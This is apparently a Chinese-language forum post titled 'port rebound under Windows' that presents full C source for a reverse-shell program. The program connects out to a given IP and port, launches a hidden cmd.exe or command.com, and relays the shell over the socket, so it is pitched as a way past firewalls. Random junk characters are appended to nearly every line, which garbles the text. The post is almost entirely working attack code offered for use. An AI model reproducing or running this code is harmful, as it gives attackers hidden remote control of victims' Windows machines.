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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L0Cf@~k  
saV` -#  
/* ============================== /dqKFxB1  
Rebound port in Windows NT |F<aw?%  
By wind,2006/7 ec=C7M |  
===============================*/ I2 dt#  
#include  ,Y!)V  
#include 'K1w.hC<  
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#pragma comment(lib,"wsock32.lib") ?9mY #_Of  
~$$V=$&  
void OutputShell(); !m;VWGl*  
SOCKET sClient; p,+~dn;=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l>ttxYBa<d  
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void main(int argc,char **argv) z 4-wvn<*  
{ %lPP1 R  
WSADATA stWsaData; DM&"oa50  
int nRet; #FcYJH  
SOCKADDR_IN stSaiClient,stSaiServer; CeQcnJU  
X DX_c@U  
if(argc != 3) ,'j5tU?c  
{ ;@L#0  
printf("Useage:\n\rRebound DestIP DestPort\n"); ObCwWj^qO  
return; 38#(ruv  
} bQ)r8[o!  
"@n$(-.  
WSAStartup(MAKEWORD(2,2),&stWsaData); X[w9~t$\  
s{/nO)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {^qc`oF  
Eq?o /'e  
stSaiClient.sin_family = AF_INET; fTeo,N  
stSaiClient.sin_port = htons(0); /sai}r 1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j\a?n4g -  
,d7@*>T&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cw_<t  
{ }S&{ &gh  
printf("Bind Socket Failed!\n"); CUG6|qu  
return; Ort\J~ O  
} ZG>OT@ GA  
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stSaiServer.sin_family = AF_INET; A!J5Wz>Q5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WC4Il C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FKQnz/  
I/tzo(r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jsR1jou6  
{ \Q6Ip@?  
printf("Connect Error!"); =k_u5@.Z  
return; K!9=e7|P  
} m$^7sFD$  
OutputShell(); mVkn~LD:0  
} =4I361oMf  
b{oNV-<&{  
void OutputShell() 6Z"%vrH  
{ Wp'\NFe 8  
char szBuff[1024]; D>mLSh  
SECURITY_ATTRIBUTES stSecurityAttributes; KpE#Ye&  
OSVERSIONINFO stOsversionInfo; Y PM>FDxDB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TnG"_VK9R  
STARTUPINFO stStartupInfo; IV *}w"r  
char *szShell; p+t8*lkq  
PROCESS_INFORMATION stProcessInformation; Zy#r<j]T  
unsigned long lBytesRead; ]-6 G'i?  
Li'T{0)1)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <.<Nw6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x6,RW],FGR  
stSecurityAttributes.lpSecurityDescriptor = 0; V7^?jck  
stSecurityAttributes.bInheritHandle = TRUE; NE! Xt<A  
+)Ty^;+[1  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o _-t/ ?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]oY~8HW  
k\[2o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0L6L_;o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <7zpHSFBq  
stStartupInfo.wShowWindow = SW_HIDE; j7W_%Yk|E  
stStartupInfo.hStdInput = hReadPipe; l>G#+#{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t.w?OyO  
9\xw}ph  
GetVersionEx(&stOsversionInfo); yG_#>3sD+%  
s:_5p`w>  
switch(stOsversionInfo.dwPlatformId) jIl-}/2  
{ x:2_FoQ  
case 1: -P?} qy^j(  
szShell = "command.com"; Z+}SM]m  
break; +vuW 9  
default: lz(9pz  
szShell = "cmd.exe"; wEp/bR1=  
break; Txxc-$z  
} \-B>']:R4  
JdAjKN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X bg7mj9c  
)SQ g  
send(sClient,szMsg,77,0); E|6|m8  
while(1) 81g&WQ'  
{ ZN?(lt)u9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vQ h'C.  
if(lBytesRead) qM`SN4C  
{ ZTun{Dw{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qg|+BIi Uz  
send(sClient,szBuff,lBytesRead,0);  2AluH8X/  
} ,s2.l/5r;C  
else L{=z}QO  
{ P~#jvm!  
lBytesRead=recv(sClient,szBuff,1024,0); N>z8\y  
if(lBytesRead<=0) break; qq/Cn4fN8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1Tl("XV3  
} 8]c`n!u=`  
} !6KEW,  
O+yR+aXr'8  
return; C{Zv.+F  
}
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